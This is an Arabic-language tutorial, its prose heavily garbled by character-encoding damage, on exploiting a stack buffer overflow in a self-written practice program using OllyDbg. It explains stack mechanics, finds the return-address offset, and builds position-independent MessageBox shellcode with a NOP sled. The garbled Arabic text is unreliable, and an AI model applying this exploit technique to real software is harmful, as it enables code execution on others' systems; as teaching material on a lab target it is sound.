
 

 
 

تعلم اك�شاف ثغرات البرامج 
 و كتابة الإس��رات 
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        ::::مقدمةمقدمةمقدمةمقدمة
 مخزنعندما يقوم البرGمج NسMتد7اء داK تنقل بياGت إلى ) Stack Buffer Overflow(تحدث ثغرة ف%ض مخزن المكدس 

يوlد احjل hبير لكfابة جزء من  bc. ا`صصة لاسMتق^الها المكدس و لا تقوم بفحص حجم البياGت المنقوK و المساVة محجوز في
يمكن wٔن . و إتلاف محتواها اcي يمكن wٔن uكون tم في سير تنف%ذ البرGمج :لمخزنتم نقلها في اcاhرة اnاورة البياGت التي ي

bمج و بذGن ت�س�ب هذه الثغرة في تغيير مجرى تنف%ذ البرwٔ ج يمكنfرة عنها  ي�hاcخطاء الوصول إلى اwٔ)Memory Access 
Violation(و ، نتائج �اطئةwٔ مجGمج المصاب و حقن ثم تنف%ذ يمكن اس��ر هذه الثغرة لتغيير . انهيار البرGوادسلوك البرhwٔ 

  .تخدم مصالح مس�ثمر الثغرة )Malicious Cocde(خ^يثة 
  

        Stack and Calling FunctionsStack and Calling FunctionsStack and Calling FunctionsStack and Calling Functions| | | | ا�وال ا�وال ا�وال ا�وال اسMتد7اء اسMتد7اء اسMتد7اء اسMتد7اء المكدس و المكدس و المكدس و المكدس و . . . . 1111
المكدس، يقوم المعالج إلى قيمة " دفع"عند . POPو ¨سحب Nلتعليمة  PUSHتوضع البياGت في المكدس NسMتعمال التعليمة 

 .ESP إليهكتابة القيمة في العنوان الجديد اcي ²شير  ثم ESPمؤشر المكدس  مس®لمن  التي ستم دفعهاNٕنقاص 7دد البايتات 
قيمة من المكدس، ينقل المعالج " سحب"عند . ²شير إلى عنوان البياGت التي تمّ نقلها إلى المكدس ESPو بذb يصبح المس®ل 

في تخزuن ه المساVة لكي يتم اسMتغلال هذ. ESPالقيمة الموجودة في قمة المكدس، ثم يضيف 7دد البايتات المسحوبة الى المس®ل 
  .يعني wخٓر قيمة مدفو7ة wٔول قيمة ¨سحب) Last In First Out )LIFO الخاصية بــ¨سمى هذه  .قيم wٔخرى

 

        RETRETRETRETو و و و     CALLCALLCALLCALLاسMتد7اء ا�وال NسMتعمال التعليمتين اسMتد7اء ا�وال NسMتعمال التعليمتين اسMتد7اء ا�وال NسMتعمال التعليمتين اسMتد7اء ا�وال NسMتعمال التعليمتين . . . . 1111. . . . 1111
  :، يقوم المعالج Nلخطوات التاليةCALLعند اسMتد7اء داN KسMتعمال التعليمة 

 إلى المكدس) EIP(دفع القيمة الحالية لمس®ل مؤشر التعليمة  .1
 EIPتحميل عنوان ا�اK إلى المس®ل  .2
 EIPتنف%ذ التعلÍت التي ²شير اÌٕيها المس®ل  .3

 
  ::لعودة من داK، يقوم المعالج Nلخطوات التالية RETعند اسMتعمال التعليمة 

 EIPو وضعها في المس®ل ) 7ادÐ ما Ïكون عنوان الرجوع من ا�اK(سحب القيمة الموجودة في قمة المكدس  .1
إلى  n، يقوم المعالج Nٕضافة القيمة )ÏRET nكfب هكذا ( nياري خÕ fعامل المتحتوي 7لى  RETإذا كانت التعليمة  .2

 .ت الممررة إلى ا�اKاهي حجم البارامتر  7nادÐ ما Ïكون القيمة . Nيت من ذاhرة المكدس nليتم تحرuر  ESPالمس®ل 
 )7ادÐ ما Ïكون التعليمة التي تلي تعليمة اسMتد7اء ا�اEIP )Kنقل التنف%ذ إلى العنوان الموجود في المس®ل  .3

  
  )NEAR CALLS(قريبة  اKد NسMتد7اءهذه الخطوات مfعلقة : ملاحظة
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ESP 

ESP+4 

ESP+8 

EBP+12 

    
    Stack FrameStack FrameStack FrameStack Frame| | | | إطار المكدس إطار المكدس إطار المكدس إطار المكدس . . . . 2222. . . . 1111

 عند. و قيم wٔخرى wٔخرى داK إلى تمرuرها يتم Nرامترات محلية، مfغيرات 7لى يحتوي wٔن إطار لكل يمكن wٔطر، إلى المكدس يقسّم
اcي ²شير إلى إطار ( ESP مؤشر المكدستقوم ا�اK ب�سخ محتوى  7ادÐ ما و ق^ل دفع wٔي قيمة إلى المكدس، داK، اسMتد7اء

  .و عنوان الرجوع  ا�اKالوصول إلى البارامترات الممررة إلى ل�سهيل و ذEBP b المس®ل إلى )مكدس ا�اK المسMتدعية
  

 : مâال
void MyProc () 
  { 
      ... 
  } 

Kلب المترجمات تقوم بتوليد الكود التالي في بداية كل داåwٔ:  
MyProc: 
      push    ebp 
      mov     ebp , esp 
...  
 

    UsingUsingUsingUsing    The StackThe StackThe StackThe Stack    Passing ParametersPassing ParametersPassing ParametersPassing Parameters| | | | المكدس المكدس المكدس المكدس     NسMتعمالNسMتعمالNسMتعمالNسMتعمال    رامتراترامتراترامتراترامتراتااااببببال ال ال ال تمرuر تمرuر تمرuر تمرuر . . . . 2222. . . . 1111
و في هذه الحاK يمكن . يمكن اسMتعمال المكدس Ìتمرuر Nرامترات ا�وال من �لال و ضعها في إطار المكدس التابع :çاK المسMتدعية

 .اcي هو بدوره ²شير إلى إطار مكدس ا�اK المسMتدعية EBPالوصول إلى البارامترات الممررة 7بر المكدس NسMتعمال المس®ل 
  

  :مâال
void MyProc ( int a, int b, int c) 
{ 
    ... 
} 
int main () 
{ 
    ... 
    MyProc ( 10, 20, 30); 
    ... 
} 

 Kتد7اء ا�اMكون اسuMyProc كالتالي:  
push    30 
push    20 
push    10 
call    MyProc 

Kتد7اء ا�اMشكل المكدس  بعد اس:  
      

                                            
    

 
 
  
 
 
 

  عنوان الرجوع

0000000Ah )10(  
 

00000014h )20(  
 

0000001Eh )30(  



        Stack Buffer OverflowStack Buffer OverflowStack Buffer OverflowStack Buffer Overflowف%ض مخزن المكدس                                              ف%ض مخزن المكدس                                              ف%ض مخزن المكدس                                              ف%ض مخزن المكدس                                              
 

ASSEMBLY IS POWER Page 4 

EBP  

ESP | EBP-20 

ت
Gيا ب اتجاه تخزuن ال

  

ESP+14 | EBP-4 

ESP+10 | EBP-8 

        Local VariablesLocal VariablesLocal VariablesLocal Variables| | | | المتغيرات المحلية المتغيرات المحلية المتغيرات المحلية المتغيرات المحلية . . . . 3333. . . . 1111
عند بداية كل داK من �لال  �اصة بها دا�ل المكدس كن حجز مساVةو يم ¨سMتعمل ا�وال المكدس لتخزuن قيم المتغيرات المحلية

  .ESP المس®ل طرح حجم كل المتغيرات من
  . 4المساVة التي òريد حجزها من مضعفات  حجم كونuيجب wٔن   لكي لا يحصل تدا�ل بين المتغيرات،: ملاحظة

sub     esp , SizeOfLocalVariables 
 

  :مâال
void MyProc () 
  { 
      int a, b         //  int = 4 bytes 
      char sBuf [ 10]    //  char = 1 byte 
      ... 
  } 

  :دخول ا�اK كالتالي hود سMيكون مقطع
MyProc: 
      push    ebp 
      mov     ebp , esp 
      sub     esp , 20  ; SizeOf(a)+SizeOf(b)+SizeOf(sBuf)+2=20 
      ... 

  :شكل المكدس
 
 
 
 
 

   
 
 
 
 

 EBPاcي ²شير إلى wخٓر مfغير محلي تم حجزه wٔو المس®ل  ESPيمكن الوصول إلى المتغيرات المحلية NسMتعمال مؤشر المكدس 
  .)EBP-4( شير إلى wٔول مfغير محلييمكن اسMتعماó ل  اcي

  

    Stack Buffer Overflow AnalysisStack Buffer Overflow AnalysisStack Buffer Overflow AnalysisStack Buffer Overflow Analysis| | | | تحليل ثغرة ف%ض مخزن المكدس تحليل ثغرة ف%ض مخزن المكدس تحليل ثغرة ف%ض مخزن المكدس تحليل ثغرة ف%ض مخزن المكدس . . . . 2222
تجده مرفق مع –"  exploitme"قمت öكfابة öرGمج . ثغرة هو التطبيق 7لى مâال عمليwٔفضل طريقة لتôليل و فهم هذه ال 

  . لهذا الغرض بلغة اûٔسمبلي -ا�رس
  

  عنوان الرجوع

  EBPقيمة المس®ل 

a  

b  

 
sBuf  
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  exploitmeواýة البرGمج -1-

و  نفس مسار البرGمج تواlد فيالم " at2000.txt"يقوم البرGمج بفfح الملف  Fileمن القائمة الم�سدOpen  Kعند اخfيار اûٔمر 
 Kن محتواه في مخزن محجوز في المكدس ثم إظهاره في رساuتخز)MessageBox( .Kظهار رساNٕ 7دم وجود الملف يقوم KاV في 

  .تف%د wٔن الملف åير مfواlد
  

مع البرGمج اذا كان ²شMتغل wٔو فfح ) Attach(يمك�نا عمل ربط . لت�^عه و معرفة مكان الثغرة OllyDbgنفfح البرGمج Nلمنقح 
لإظهار wٔسماء ا�وال التي ²سMتعملها  CTRL+Nمن لوVة المفاتيح نضغط 7لى . لتحمي� إلى اcاhرة )File -> Open(البرGمج 
  .البرGمج

  
  exploitmeدوال اسMتيراد البرGمج -2-

التي  المتعلقة Nلتعامل مع الملفات هي واليعتبر المد�ل الوح%د من المسMتعمل إلى البرGمج فإنّ ا�" at2000.txt"بما wٔن الملف 
  :س�سا7دG في البحث عن الثغرة

• CreateFileCreateFileCreateFileCreateFile : وwٔ حfشاء ملفلف�إ    

• GGGGetFileSietFileSietFileSietFileSizzzzeeee :لجلب حجم ملف    

• ReadFileReadFileReadFileReadFile : يتات معينة من ملف وN مخزن إلى نقلهالقراءة    

• CloseHandleCloseHandleCloseHandleCloseHandle :لاق ملفåٕلا    
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 Kتد7اء ا�اMسN ه و الحصول 7لى مق^ضه و يتم هذاôfمج فGولا 7لى البرwٔ ي ملف يجبwٔ لتعامل مع:CreateFileCreateFileCreateFileCreateFile . نضع نقطة
Kاح ( توقف 7لى هذه ا�اfالفF2(  مجGشغلّ البر�ثم ) احfالمفF9( . مجGنعود إلى البرexploitme  مرûٔو نختار اOpen  من

  . Fileالقائمة 

  
-3- Kتد7اء ا�اMمج عند تعليمة اسGتوقف تنف%ذ البرCreateFileCreateFileCreateFileCreateFile 

، إذا كان "at2000.txt"سMيقوم البرGمج من التث�ت من وجود الملف . òF8كمل تنف%ذ البرGمج خطوة بخطوة NسMتعمال المفfاح 
 Kير موجود يظهر الرساå"File not found ! ." يقفز إلى العنوان b4011ما 7دا ذBCh لتنف%ذ  Kا�اGGGGetFileSietFileSietFileSietFileSizzzzeeee     التي

بعدها uكمل التنف%ذ إلى ا�اEAX . Kالمس®ل  في Ïرجع هذه ا�اK 7دد Nيتات الملف". at2000.txt"تجلب حجم الملف 
ReadFileReadFileReadFileReadFile    ن الملف:لقراءة م . Kنموذج ا�اReadFileReadFileReadFileReadFile:  

ReadFile PROTO hFile: DWORD,\ 
               lpBuffer: DWORD,\ 
               nNumberOfBytesToRead: DWORD,\ 
               lpNumberOfBytesRead: DWORD,\ 
               lpOverlapped: DWORD 

• hFile :مق^ض الملف 

• lpBuffer : ا`زنمؤشر إلى 

• nNumberOfBytesToRead : ريدò من الملف قراءتها7دد البايتات التي 

• lpNumberOfBytesRead :مؤشر لـDWORD  ّ7دد البايتات التي تم Kقراءتهاتضع ف%ه ا�ا 

• lpOverlapped :بة لناMل�سN مةt يرå 
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 Kاç: يمكنReadFileReadFileReadFileReadFile     ن تحدث ثغرةwٔStack Buffer Overflow  التاليةإذا توفرت الشروط:  

و حجم ا`زن المسMتق^ل  )nNumberOfBytesToRead( غياب hود يفحص 7دد البايتات القراءة من الملف •
 :لبياGت

 كدسا`زن محجوز في ذاhرة الم •
  :في البرGمج    ReadFileReadFileReadFileReadFileاسMتد7اء ا�اò . Kكمل ت�^ع البرGمج لنرى إن كانت الشروط مfوفرة

  
-4- Kتد7اء ا�اMاسReadFileReadFileReadFileReadFile        

 Kر القيمة المرجعة من ا�اuتمرö مج قامGن البرwٔ لاحظGGGGetFileSietFileSietFileSietFileSizzzzeeee     ريدu يتاتN عدد�  من الملف بدون التث�ت منها قراءتها
004011B0  | . 50             PUSH EAX                                 ; |BytesToRead 

  :lpBufferعامل كمزن موجود في المكدس و تمرuره ` مؤشرثم قام بجلب 
004011B1  | . 8D45 F1        LEA EAX, DWORD PTR SS:[ EBP- F]       ; |Get Stack Buffer pointer 
004011B4  | . 50             PUSH EAX                           ; |Buffer 

  :التالي و نضع ف%ه النص" at2000.txt"إذن تحققت شروط وقوع الثغرة، و :لتث�ت من ذb نفfح الملف 
0000000000000000000000000000000000000000000000000000000000 

  إذا لم يحصل خط!ٔ نفfح الملف مجددا و نظيف إليه نصوص: ملاحظة
  :و òرى إن حصل خط!ٔ  File -> Openو نختار " exploitme"نفfح البرGمج 

  
  Vat2000.txtدوث خط!ٔ $س�ب القراءة من الملف -5-

التنف%ذ  إكمالعند محاوK البرGمج ) c0000005h )EXCEPTION_ACCESS_VIOLATIONلاحظ Vدوث اسMت%�اء 
ة نقل البياGت إلى اcاhرة اnاور wٔكملو  Bufferبمعنى wٔن البرGمج تجاوز مساVة الـ ."0000"النص – 30303030hالعنوان  في

  .تم الكfابة 7ليهالتي تحتوي 7لى عنوان الرجوع و 
  :lلب مؤشر ا`زن بعد تعليمة ضع نقطة توقفن. القيمة التي سMتكfب 7لى عنوان الرجوعاûنٓ òريد معرفة إزاVة 
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004011B1  | . 8D45 F1        LEA EAX, DWORD PTR SS:[ EBP- F]       ; |Get Stack Buffer pointer 
004011B4  | . 50             PUSH EAX                           ; | 
	 ���� ه�� �� �� 

عندها سfوقف البرGمج و سMيحتوي المس®ل " at2000.txt"لفfح الملف  File -> Openلتنف%ذ البرGمج ثم نختار  F9نضغط 
EAX 12و هو  7لى عنوان ا`زنFDF5h.  

  
التطبيق 7لى العناوuن التي يمكن wٔن يحصل اخfلاف في العناوuن من ýاز إلى wخٓر و من نظام إلى wخٓر المهم wٔن Ïكمل : ملاحظة
  وlدتها

  
  :ثم òكمل ت�^ع البرGمج خطوة بخطوة حتى الوصول إلى التعليمة

RETN 10 

اûنٓ . 12FE08وهي القيمة  عند حصول الف%ض عنوان الرجوع من ا�اK القيمة التي كت�ت 7لى 7لى ESPسشير المس®ل عندها 
  :و في مâالنا. 1زائد  الرجوع من عنوان ا`زنلحساب إزاVة العنوان في الملف نقوم بطرح عنوان 

12FDF5h- 12FE08+1=14h ( 20) 

سMتخراýا òريد تغيير عنوان الرجوع إلى N قمنااûنٓ لتطبيق المعلومات التي . في الملف هو بداية العنوان 20بمعنى wٔنّ البايت رقم 
مâل المحرر  ب!ئ محرر هكس "at2000.txt" نفfح الملف نإذ. 00401000hعنوان نقطة إد�ال البرGمج و في Vالتنا العنوان 

  .في الملف ò20كfب العنوان من اÌيمين إلى السار ابتدءا من الإزاVة و  )OllyDbg )File -> Viewالموجود في المنقحّ 
[ FileBase+20] <-- 00h 
[ FileBase+21] <-- 10h 
[ FileBase+22] <-- 40h 
[ FileBase+23] <-- 00h 

  :سMيكون محتوى الملف كالتاليبعدها 

  
  "at2000.txt"كتابة عنوان الرجوع في الملف -6-

، إذا قام البرGمج Nٕظهار "at2000.txt"لفfح الملف  File -> Openو نختار  exploitmeبعد ¨سجيل التغيرات نفfح البرGمج 
  .تنف%ذ البرGمج إلى نقطة الإد�الالكfابة 7لى عنوان الرجوع و توج%ه نجحنا في قد  ناGفذة lديدة ó يعني wٔن 

  
  
 

    اس��ر ثغرة ف%ض مخزن المكدساس��ر ثغرة ف%ض مخزن المكدساس��ر ثغرة ف%ض مخزن المكدساس��ر ثغرة ف%ض مخزن المكدس. . . . 3333
    ShellCodeShellCodeShellCodeShellCode| | | | الشل hود الشل hود الشل hود الشل hود . . . . 1111. . . . 3333
åالبا في تحميل öرGمج  وهو قطعة hود مكfوبة بلغة اKٓû ²سMتعمل ShellCodeكن اس��ر هذه الثغرة من �لال كتابة يم

في  at2000.txt(يمكن كتابة الشل hود بلغة اûٔسمبلي ثم �سخ تعلÍت لغة اKٓû و وضعها في ملف الشل  .اسMتهداف ýاز الضحية
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كذb وضع الكود  .wٔهم قا7دة في كتابة الشل hود هي wٔن نعتبر wٔن كل العناوuن لست /بتة و 7لينا lلبها دينام%ك%ا). مâالنا السابق
  .و البياGت في نفس القسم

 
   "offset" لب عناوuن /بتةيج عاملم²سMتعمل  öرGمج:مâال

;+-+-+-+-+[ FileName: msgbox.asm ]+-+-+-+-+-+ 
 
.386 
.model flat , stdcall 
option casemap : none 
 
;+-+-+-+-+   Include Files  +-+-+-+-+-+ 
          include \ masm32\ include \ windows.inc 
          include \ masm32\ include \ kernel32.inc 
          include \ masm32\ include \ user32.inc 
 
;+-+-+-+-+   Include Libraries +-+-+-+-+ 
          includelib \ masm32\ lib\ kernel32.lib 
          includelib \ masm32\ lib\ user32.lib 
 
.code 
start: 
         push MB_OK 
         push offset caption 
         push offset msg 
         push 0 
         call MessageBox 
 
         push 0 
         call ExitProcess 
 
         caption db "ShellCode" , 0 
         msg     db "'Offset' operator returns static address" , 0 
end start 

  .شMتغل ûٔنّ العناوuن /بتة لا يمكن نقلها من öرGمج ûخٓر² لن  ثم تنف%ذهفي öرGمج wخٓر  قسم الكود و حق�هلو قمنا ب�سخ 
ثم القفز إلى العنوان ) wٔ)Run-Timeثناء وقت ال�شغيل  الرجوع التي تقوم بدفع عنوان callالتعليمة  لحل هذه المشكلة، �سMتعمل

  .المكدس في دفعهاcي تمّ  لسحب العنوان POPعند هذا العنوان �سMتعمل التعليمة . المحدد
  :نموذج اسMتعمال هذه التق�ية

start: 
;|=--------------=[ shell code section ]=---------- -----=| 
      ... 
      jmp _VarName   ; jmp to get VarName dynamic address 
_rVarName:           ; now [ESP] contain the dynamic address 
      pop REG32      ; pop VarName address in 32-Register (EAX, EBX,...)  
      ...             
 
;|=--------------=[ shell data section ]=---------- -----=| 
      ... 
_VarName: 
      call _rVarName 
      VarName VarType Value 
      ... 

    """"exploitmeexploitmeexploitmeexploitme""""التطبيق 7لى البرGمج التطبيق 7لى البرGمج التطبيق 7لى البرGمج التطبيق 7لى البرGمج . . . . 2222. . . . 3333
في الملف  hودòكfب الشل  بعدها. يغلق البرGمجثم ) MessageBox(رساK  يظهركتابة شل hود  ما سMنقوم به هو

"at2000.txt "يرا و�wٔ ود يرّ نغh ب 7لى عنوان الرجوع إلى عنوان الشلfتكMالمكدس دا�ل القيمة التي س. 
  .نجلب عناوuن ا�وال المسMتعم2 في الشل hود من lدول اسMتيراد البرGمج المسMتهدف wٔولا
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 lexploitmeدول اسMتيراد البرGمج -7-

  :سMيكون شكل التعليمة كالتالي. ا�اK ت5إلى  تعليمة القفز لإظهار Spaceنحدد ا�اK التي òريد lلب عنوانها ثم نضغط المفfاح 
JMP DWORD PTR DS:[ Address] 

  :عنوان ا�اK إلى ²شيراcي  Addressنحتفظ Nلعنوان 

• MessageBoxMessageBoxMessageBoxMessageBox :h402034 )Kإظهار رسا Kدا( 

• ExitProcessExitProcessExitProcessExitProcess :402014h )مجGلق البرå Kدا( 
 ثم نقوم بتجميعهو تغيير عناوuن ا�وال و نطبق 7ليه تق�ية lلب العناوuن " msgbox.asm"اûنٓ ن!ٔ�ذ مقطع hود الملف 

  .NMASMسMتعمال 
;+-+-+-+-+[ FileName: shellcode.asm ]+-+-+-+-+-+ 
 
.386 
.model flat , stdcall 
option casemap : none 
 
.code 
start: 
;|=--------------=[ shell code section ]=---------- -----=| 
         push 0         ; OK button 
         jmp _caption 
_rCaption: 
         jmp _msg 
_rMsg: 
         push 0         ; hWnd 
         call DWORD PTR DS:[ 402034h ] ; <=> call MessageBox 
 
         push 0 
         call DWORD PTR DS:[ 402014h ] ; <=> call ExitProcess 
 
;|=--------------=[ shell data section ]=---------- -----=| 
_caption: 
         call _rCaption               ; <=> push offset caption 
         caption db "ShellCode" , 0 
_msg: 
         call _rMsg                   ; <=> push offset msg 
         msg     db "Writing shellcodes based on learning Assembly l anguage" , 0 
end start 
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 لبرGمج�سخ تعلÍت اب و نقوم  OllyDbgنفôfه دا�ل " shellcode.asm"بعد تجميع الملف 

  
 shellcode �سخ محتوى البرGمج-8-

  م^اشرة بعد عنوان الرجوع shellcode لصق محتوى البرGمجو نقوم بمحرر هكس  wٔي دا�ل" at2000.txt"نفfح الملف  اûنٓ

 إضافةمن �لال يمكن حساب هذا ا�ûٔير  .سMتكfب 7لى عنوان الرجوع إلى عنوان الشل hود دا�ل المكدس القيمة التي نغيرّ  ثم

اcي سسMتق^ل محتوى الملف ) 12FDF5h(إلى عنوان ا`زن ) at2000.txt) "17h"إزاVة الشل الكود دا�ل الملف 

"at2000.txt" . ود دا�ل المكدس ²ساويh ن عنوان الشلwٔ 12يعنيFE0Ch  

 
  كتابة الشل hود و تغيير عنوان البرجوع-9-

  .لنرى ماذا سMيôدث Fileمن القائمة  Openو نختار اûٔمر  exploitmeالبرGمج  نفfحاûنٓ كل شيء lاهز :لتجربة، 

  .نقوم بت�^ع البرGمج لحد الوصول إلى تنف%ذ الشلو  OllyDbgنعم لم ت�ته9ي اûٔخطاء بعد، ماذا نفعل؟ نفfح البرGمج دا�ل 
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  hود :لشل ق^ل تنف%ذ wٔول تعليمة ESPقيمة المس®ل -10-

  :و التي هي نفسها عنوان التعليمة 12FE1Chيحتوي 7لى القيمة  ESPلاحظ wٔن المس®ل 
0012FE1C   FF15 14204000 CALL DWORD PTR DS:[<& kernel32.ExitProces>] ; kernel32.ExitProcess 

 Kتد7اء ا�اMب 7لى تعليمة اسfتكMتدفع إلى المكدس سMول قيمة سwٔ نwٔ بمعنىExitProcessExitProcessExitProcessExitProcess     بfتكMقي القيم التي ستم دفعها سN و
fلف  بذb س . wٔيضا ستم الكfابة 7ليها MessageBoxMessageBoxMessageBoxMessageBoxبمعنى wٔنّ تعليمة اسMتد7اء ا�اK  7لى العناوuن التي ¨سMبق هذه التعليمة

  .رساK الخط!ٔ  ت لناظهر  bcقابل :لتنف%ذ  يصبح åيرالشل الكود و 
تخزuن مجال  في بداية الشل hود لإبعاده من) NOP )90hو هي وضع تعلÍت  NOP SledاسMتعمال تق�ية  رهنا ي!تئ دو 

:لوصول إلى òÕزلاق  التي لا تقوم ب!ئ عملية سواء في نفس الوقت يتم تنف%ذ هذه التعلÍت البياGت التي يقوم بدفعها إلى المكدس

  . الشل الكود تعلÍت

  
 "at2000.txt"الشكل اÌنهائي :لملف -11-
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  :�سّ®ل التغيرات ثم �شغلّ البرGمج

  
  نجاح اسMتغلال الثغرة-12-

  


